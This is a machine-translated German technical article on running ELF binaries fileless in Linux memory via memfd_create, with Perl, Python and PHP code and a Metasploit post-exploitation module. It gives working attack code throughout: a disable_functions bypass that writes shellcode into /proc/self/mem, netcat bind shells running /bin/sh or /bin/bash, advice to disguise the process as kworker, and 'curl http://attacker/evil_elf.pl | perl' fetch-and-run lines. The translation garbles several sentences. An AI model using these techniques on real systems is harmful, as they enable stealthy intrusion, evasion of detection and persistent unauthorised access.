Elfen in Erinnerung. Ausführen von ELF im Linux-RAM


Die dateifreie Verbreitung von Malware wird immer beliebter. Kein Wunder, denn die Arbeit solcher Programme hinterlässt praktisch keine Spuren. In diesem Artikel werden wir nicht auf die Technik zum Ausführen von Programmen im Windows-Speicher eingehen. Wir konzentrieren uns auf GNU / Linux. Linux dominiert zu Recht das Serversegment, lebt auf Millionen eingebetteter Geräte und stellt die überwiegende Mehrheit der Webressourcen bereit. Als nächstes werden wir einen kurzen Überblick über die Möglichkeiten der Ausführung von Programmen im Speicher geben und zeigen, dass dies auch unter schwierigen Bedingungen möglich ist.


Dateifreie Ausführungstechniken sind geheim, und es ist äußerst schwierig, ihre Verwendung zu erkennen und zu verfolgen. Die Tools zur Steuerung der Integrität des Dateisystems warnen den Administrator nicht, da keine Schreibvorgänge auf die Festplatte oder Dateiänderungen auf der Festplatte auftreten. Antivirensoftware (von * nix-Benutzern häufig vernachlässigt) überwacht den Programmspeicher nach dem Start häufig nicht. Darüber hinaus steht in vielen GNU / Linux-Distributionen unmittelbar nach der Installation eine Vielzahl verschiedener Debugging-Dienstprogramme, Interpreter, Compiler von Programmiersprachen und Bibliotheken für diese zur Verfügung. All dies schafft hervorragende Bedingungen für die Verwendung von Techniken der verdeckten, dateifreien Programmausführung. Zusätzlich zu den Vorteilen ihrer Verwendung gibt es aber auch Nachteile: Diese Programme überleben keinen Blackout oder Neustart des Zielhosts. Aber während der Host läuft, funktioniert das Programm.


Solche Techniken können und sollten nicht nur für die Verbreitung von Malware verwendet werden. Wenn die Geschwindigkeit Ihrer Programmausführung für Sie entscheidend ist, entladen Sie sie in den Arbeitsspeicher. Tatsächlich fühlen sich viele Linux-Distributionen großartig an, wenn sie vollständig im RAM ausgeführt werden, sodass Sie mit Festplatten arbeiten können, ohne Dateien darauf zu speichern. Unter dem Gesichtspunkt der Prüfung der Informationssicherheit sind Methoden zur verdeckten Ausführung von Programmen als Phase der Nachbearbeitung und Aufklärung innerhalb des Zielnetzwerks sehr nützlich. Insbesondere wenn maximale Geheimhaltung eine der Prüfungsbedingungen ist.
Laut dem barkly.com- Portal im Jahr 2018 treten bereits 35% der Virenangriffe in schädlicher Software auf, die im Speicher ausgeführt wird.


Unter Windows verwenden Cyberkriminelle aktiv das vorinstallierte Powershell-System, um den Code herunterzuladen und sofort auszuführen. Diese Techniken sind unter anderem aufgrund ihrer Implementierung in Frameworks wie Powershell Empire, Powersploit und Metasploit Framework weit verbreitet.


Was ist mit Linux?


In den meisten Fällen sind auf Hosts installierte Linux-Distributionen mit einer vorinstallierten Software ausgestattet. Standardmäßig sind Dolmetscher für Programmiersprachen verfügbar: Python-, Perl-, C-Compiler. PHP ist auf den Hosting-Sites im Anhang vorhanden. Diese Bedingung bietet die Möglichkeit, Code in diesen Sprachen auszuführen.


Unter Linux gibt es mehrere bekannte Optionen zum Ausführen von Code im Speicher.
Am einfachsten ist es, den im Dateisystem vorinstallierten gemeinsam genutzten Speicherbereich zu verwenden.


Durch Platzieren der ausführbaren Datei im Verzeichnis / dev / shm oder / run / shm ist es möglich, sie direkt im Speicher auszuführen, da diese Verzeichnisse nichts anderes als ein auf dem Dateisystem gemounteter Arbeitsspeicher sind. Sie können jedoch wie jedes andere Verzeichnis mit ls angezeigt werden. In der Regel werden diese Verzeichnisse mit dem noexec-Flag bereitgestellt, und die Ausführung von Programmen in diesen Verzeichnissen steht nur dem Superuser zur Verfügung. Um etwas unauffälliger zu sein, brauchen Sie etwas anderes.


Bemerkenswerter ist der Systemaufruf memfd_create (2) . Dieser Systemaufruf funktioniert ungefähr wie malloc (3) , gibt jedoch keinen Zeiger auf einen Speicherbereich zurück, sondern einen Dateideskriptor auf eine anonyme Datei, die im Dateisystem nur als Link in /proc/PID/fd/ sichtbar ist, über den sie ausgeführt werden kann ausführen (2).
In der Handbuchseite zur Verwendung des Systemaufrufs memfd_create (auf Russisch) heißt es:


"Der in name angegebene name wird als Dateiname verwendet und als Ziel des entsprechenden symbolischen Links im Verzeichnis angezeigt. /proc/self/fd/ . Der Anzeigename beginnt immer mit memfd: und dient nur zum Debuggen. Namen haben keinen Einfluss auf das Dateiverhalten "Deskriptor, und daher können mehrere Dateien denselben Namen haben, ohne dass dies Konsequenzen hat."


Ein Beispiel für die Verwendung von memfd_create() für die C-Sprache:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

Der obige Code verwendet memfd , erstellt einen memfd Prozess, leitet seine Ausgabe in eine temporäre Datei, wartet auf den Abschluss des memfd Prozesses und liest seine Ausgabe aus der temporären Datei. Normalerweise wird die Pipe "|" verwendet, um die Ausgabe eines Programms auf die Eingabe eines anderen Programms in * nix umzuleiten.


Die Möglichkeit, syscall() ist auch in interpretierten Sprachen wie Perl, Python usw. verfügbar. Als Nächstes betrachten wir eines der möglichen Szenarien und demonstrieren die Möglichkeit, ausführbare Dateien mit memfd_create() in den Speicher zu laden.


Perl


Angenommen, wir haben einen Einstiegspunkt in Form einer Befehlsinjektion.
Wir brauchen eine Möglichkeit, Systemaufrufe auf dem Zielsystem durchzuführen.
In Perl hilft uns die Funktion syscall () dabei.
Wir brauchen auch eine Möglichkeit, unsere ELF als Inhalt einer anonymen Datei direkt in den Speicher zu schreiben.
Zu diesem Zweck platzieren wir unsere ELF direkt im Hauptteil des Skripts, das wiederum über die verfügbare Befehlsinjektion an das Zielsystem übertragen wird. Alternativ können Sie die ausführbare Datei auch über das Netzwerk herunterladen.
Aber vorher lohnt es sich eine Reservierung zu machen. Wir müssen die Linux-Kernel-Version auf dem Zielhost kennen, da der erforderliche memfd_create() nur ab Version 3.17 verfügbar ist.


memfd_create() und execve() genauer an.


Für unsere anonyme Datei verwenden wir die Konstante MFD_CLOEXEC , die "das close-on-exec (FD_CLOEXEC) Flag close-on-exec (FD_CLOEXEC) für einen neuen Deskriptor für geöffnete Dateien setzt". Dies bedeutet, dass unser Dateideskriptor automatisch geschlossen wird, nachdem wir unsere ELF mit execve()


Da wir die Funktion syscall() der Perl-Sprache verwenden, benötigen wir numerische Werte, um unseren syscall und seinen Parameter aufzurufen.
Sie finden sie in /usr/include oder im Internet. Die __NR_ finden Sie in #define beginnend mit __NR_
In unserem Fall ist memfd_create() für ein 64-Bit-Betriebssystem mit 319 nummeriert. Und die Konstante ist FD_CLOSEXEC 0x0001U ( FD_CLOSEXEC 0x0001U 1 in der linux/memfd.h )


Jetzt haben wir alle notwendigen numerischen Werte und können in Perl ein Analogon von memfd_create(name, MFD_CLOEXEC) aus C schreiben.
Wir müssen auch einen Dateinamen erstellen, der in /memfd: angezeigt /memfd:
Es ist optimal, einen Namen zu wählen, der [:kworker] oder einem anderen ähnlich ist, ohne Verdacht zu [:kworker] .
Zum Beispiel übergeben wir eine leere Zeichenfolge an den Parameter name:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

Jetzt haben wir den anonymen Dateideskriptor in $ fd und müssen den ELF in diese Datei schreiben.
Die Funktion open () in Perl wird normalerweise zum Öffnen von Dateien verwendet. Wenn Sie jedoch das Konstrukt >&=FD verwenden und den Deskriptor anstelle des Dateinamens an diese Funktion übergeben, wird der bereits geöffnete Dateideskriptor in ein Dateihandle umgewandelt.
autoflush[] wäre auch nützlich für autoflush[] :


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

Jetzt haben wir ein Handle, das auf eine anonyme Datei verweist.


Als nächstes müssen wir unsere ausführbare Datei in Daten konvertieren, die im Hauptteil eines Perl-Skripts abgelegt werden können.
Dazu führen wir Folgendes aus:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

Wir bekommen viele, viele ähnliche Zeilen:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

Nachdem wir sie ausgeführt haben, speichern wir unsere ausführbare Datei. Wir müssen es nur ausführen.


Gabel ()


Optional können wir fork () verwenden . Dies ist überhaupt nicht notwendig. Wenn wir jedoch nicht nur ELF ausführen und den Prozess beenden möchten, müssen wir fork() .
Im Allgemeinen sieht das Erstellen eines untergeordneten Prozesses in Perl ungefähr so ​​aus:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

Die Nützlichkeit von fork() in der Tatsache, dass Sie durch Aufrufen zusammen mit setsid (2) den untergeordneten Prozess vom übergeordneten Prozess trennen und den übergeordneten Prozess beenden lassen können:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

Jetzt können wir ELF in vielen Prozessen ausführen.


Execve ()


Execve () ist ein Systemaufruf, mit dem wir ein Programm ausführen können. Perl bietet uns ähnliche Funktionen durch die Exec () - Funktion, die genau wie der oben erwähnte Systemaufruf funktioniert, jedoch eine viel einfachere und bequemere Syntax aufweist.
Wir müssen exec() zwei Dinge übergeben: die Datei, die wir ausführen möchten (unseren zuvor geladenen ELF-Speicher), und den Prozessnamen als eines der übergebenen Argumente. Normalerweise entspricht der Prozessname dem Namen der ausführbaren Datei. Da wir jedoch /proc/PID/fd/3 in der Prozessliste sehen, werden wir unseren Prozess etwas anderes nennen.
Die Syntax für exec() wie folgt:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

Das obige Beispiel startet Netcat. Aber wir möchten etwas weniger wie eine Hintertür starten.
Ein laufender Prozess hat keinen Link zu einer anonymen Datei in /proc/PID/fd , aber wir finden unsere ELF immer unter /proc/PID/exe , die auf die Datei des laufenden Prozesses verweist.
Also haben wir ELF im Linux-Speicher gestartet, ohne die Festplatte und sogar das Dateisystem zu berühren.
Es ist möglich, unsere ausführbare Datei schnell und bequem auf das Zielsystem herunterzuladen, indem Sie beispielsweise ein Skript an den Perl-Interpreter übergeben, in dessen Hauptteil wir ELF platziert und auf einem externen Webhosting $ curl http://attacker/evil_elf.pl | perl : $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Python


Ähnlich wie bei der Perl-Option müssen wir Folgendes tun:


  • Erstellen Sie mit dem Systemaufruf memfd_create () eine anonyme Datei im Speicher
  • Schreiben Sie eine ausführbare ELF in diese Datei
  • Führen Sie es aus und führen Sie es optional mehrmals mit fork () aus.

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

Im Fall von Python benötigen wir zum Aufrufen von syscall das Standardmodul ctypes und os , um die Datei zu schreiben und auszuführen und den Prozess zu steuern. Alles ist völlig analog zur Perl-Version.
Im obigen Code schreiben wir eine Datei in die Datei, die sich zuvor im /tmp/ . Nichts hindert uns jedoch daran, die Datei vom Webserver herunterzuladen.


Php


Zu diesem Zeitpunkt können wir bereits Perl und Python verwenden. Interpreter dieser Sprachen sind auf vielen Betriebssystemen standardmäßig installiert. Aber das Interessanteste liegt wie immer vor uns.
Wenn uns aus irgendeinem Grund keine Perl- oder Python-Interpreter zur Verfügung stehen, wäre es großartig, PHP zu verwenden. Diese Sprache ist bei Webentwicklern sehr beliebt. Und wenn wir bereits die Möglichkeit gefunden haben, Code in einer Webanwendung auszuführen, wird uns der PHP-Interpreter mit hoher Wahrscheinlichkeit treffen.


Leider hat PHP keine eingebauten Mechanismen zum Aufrufen von syscall .
Wir sind auf einen Beitrag von Beched'a im rdot-Forum gestoßen (Danke Beched!), Der den Aufruf der open Funktion an das system durch procfs /proc/self/mem im Speicher des aktuellen Prozesses disable_functions und disable_functions umgeht.
Wir haben diesen Trick verwendet, um die Funktion in unseren Code umzuschreiben, was die erforderlichen Systemaufrufe verursacht.
Wir werden syscall in Form von Shellcode auf Assembler an den PHP-Interpreter übergeben.
Systemaufrufe müssen über eine Folge von Befehlen geleitet werden.
Beginnen wir mit dem Schreiben eines PHP-Skripts. Als nächstes wird viel Magie kommen.


Zunächst bezeichnen wir die notwendigen Parameter:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

Bezeichnen Sie die Verschiebung - die oberen und unteren Werte im Speicher, wo wir später unseren Shellcode platzieren werden:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

Als nächstes folgt die Funktion, mit der die Binärdatei "entpackt" wird. Dazu konvertieren wir die Binärdaten mit der Funktion hexdex () aus den Binärdaten bin2hex () in umgekehrter Reihenfolge (zur Speicherung) in eine Dezimaldarstellung:


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

Als nächstes wird die ELF- Datei analysiert, um Offsets zu erhalten:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

Zusätzlich zeigen wir Informationen zur installierten Version von PHP an:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

Wir überprüfen die Bittiefe des Betriebssystems und die Version des Linux-Kernels:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

Um die Einschränkungen von disable_functions zu umgehen, schreibt das Skript die Adresse der open@plt Funktion im open@plt . Wir haben einige Ergänzungen zu beched'a Code vorgenommen, und jetzt können wir unseren Shellcode speichern.


Zuerst müssen Sie die Verschiebung in der Binärdatei des PHP-Interpreters selbst finden. Dazu wenden wir uns an /proc/self/exe und analysieren die ausführbare Datei mit der parseelf() beschriebenen Funktion parseelf() :


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

Suchen Sie die Adresse der Funktion open() :


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

Jetzt können Sie direkt unsere ausführbare Datei herunterladen.
Erstellen Sie zunächst eine anonyme Datei:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

Wir schreiben das Laden in eine anonyme Datei:


 fwrite($fp, $elf); 

Wir suchen nach der Dateideskriptornummer:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

Als nächstes schreiben wir den Pfad zur ausführbaren Datei auf den Stapel:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

Und die auszuführenden Argumente wurden an die ausführbare Datei übergeben:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

Als nächstes führen wir durch Aufrufen von fork() unsere Nutzdaten aus:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

Shellcode


Shellcode bedeutet normalerweise eine Folge von Bytes, die im Speicher gespeichert und dann normalerweise im Kontext eines anderen Programms unter Verwendung von Pufferüberlaufangriffen und anderen ausgeführt werden. In unserem Fall gibt der Shellcode nicht die Eingabeaufforderung des Remote-Servers (tatsächlich Shell) zurück, sondern ermöglicht es uns, die benötigten Befehle auszuführen.


Um die erforderliche Bytesequenz zu erhalten, können Sie entweder C-Code schreiben, ihn dann in Assembler-Sprache übersetzen oder Assembler-Sprache von Grund auf neu schreiben.


Mal sehen, was sich hinter der Folge von Bytes aus den obigen Auflistungen verbirgt.


 push 57 pop rax syscall test eax, eax jnz quit 

Der Start unseres Programms beginnt mit c fork . 57 ist der numerische Wert der Systemaufrufkennung für 64-Bit-Systeme. Die Tabelle finden Sie hier .


Als nächstes rufen wir setsid (numerische Kennung 112) auf, um den setsid Prozess in den übergeordneten Prozess zu konvertieren:


 push 112 pop rax syscall 

Dann machen Sie eine andere fork :


 push 57 pop rax syscall test eax, eax jnz quit 

Führen Sie dann das bekannte execve() :


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

Und wir beenden den Prozess mit exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

Daher haben wir den Funktionscode open () unterwegs ersetzt. Unsere ausführbare Datei wurde im Speicher abgelegt und mit dem PHP-Interpreter ausgeführt. Systemaufrufe werden als Shellcodes dargestellt.


Metasploit-Framework


Als Zusammenstellung der oben genannten Techniken haben wir ein Modul für MSF vorbereitet.


Um es zu Metasploit hinzuzufügen, kopieren Sie einfach die Moduldatei in das Verzeichnis $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb und führen Sie dann den Befehl reload_all in der Framework-Konsole aus.
Um unser Modul zu verwenden, geben Sie use post/linux/manage/download_exec_elf_in_memory (oder einen anderen Pfad, je nachdem in welchem ​​Verzeichnis die Moduldatei abgelegt wurde).
Bevor Sie es verwenden, müssen Sie die erforderlichen Optionen festlegen. Die Liste der Optionen wird mit dem Befehl show options angezeigt.


ARGS - Argumente für die ausführbare Datei


FILE - Pfad zur ausführbaren Datei. In unserem Fall ist dies Netcat.


NAME ist der Name des Prozesses. Du kannst ihn alles nennen. Zum Beispiel kann dies aus Gründen der Heimlichkeit kworker: 1 sein oder um etwas Komisches zu demonstrieren, zum Beispiel KittyCat


SESSION - Meterpreter-Sitzung. Es versteht sich, dass dieses Modul für Nachoperationszwecke verwendet wird.


Als SRVHOST SRVPORT wir den Host, auf dem sich der http-Server mit unserer Last befindet, und seinen Port in den SRVPORT SRVHOST bzw. SRVPORT .


VECTOR - Die Methode, mit der die Ausführung des Programms im Speicher erreicht wird. Der Parameter ist optional. Wenn er leer ist, stellt das Skript selbst das Vorhandensein der erforderlichen Interpreter fest. Derzeit werden PHP, Python oder Perl unterstützt.


run den Befehl exploit oder run



Es funktioniert wie folgt: Wir geben die gewünschte Sitzung an. Es kann sich entweder um einen Meterpreter oder eine reguläre Reverse-Shell handeln. Als nächstes geben wir den lokalen Pfad zu unserem Elfen, die Argumente und den gewünschten Namen in der Liste der Prozesse an. Nach dem Start wird ein lokaler Webserver zum Hosten der Nutzdaten gestartet, und die Sitzung sucht nach „Schaukelstühlen“. Curl und Wget werden derzeit unterstützt. Nachdem mindestens einer von ihnen gefunden wurde, werden alle Interpreter durchsucht, wenn wir im Parameter VECTOR nicht angegeben haben, welchen wir benötigen. Nun, wenn dies erfolgreich ist, wird ein Befehl ausgeführt, um die Nutzdaten von unserem Webserver herunterzuladen und per Pipe an den gewünschten Interpreter zu übertragen, d. H. so etwas wie $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


Anstelle einer Schlussfolgerung.


Das dateilose Herunterladen von ELF-Dateien unter Linux ist eine nützliche Technik für Penetrationstests. Dies ist eine ziemlich stille Methode, die einer Vielzahl von Antiviren-Schutz-Tools, Integritätsüberwachungssystemen und Überwachungssystemen standhält, die Änderungen im Inhalt der Festplatte überwachen. Auf diese Weise können Sie den Zugriff auf das Zielsystem problemlos aufrechterhalten und dabei ein Minimum an Spuren hinterlassen.
In diesem Artikel haben wir interpretierte Programmiersprachen verwendet, die häufig standardmäßig auf Linux-Distributionen, Firmware, Routern und Mobilgeräten installiert sind. Ich möchte auch dem Autor dieses Artikels danken, der uns zu dieser Rezension inspiriert hat.

Source: https://habr.com/ru/post/de430902/


All Articles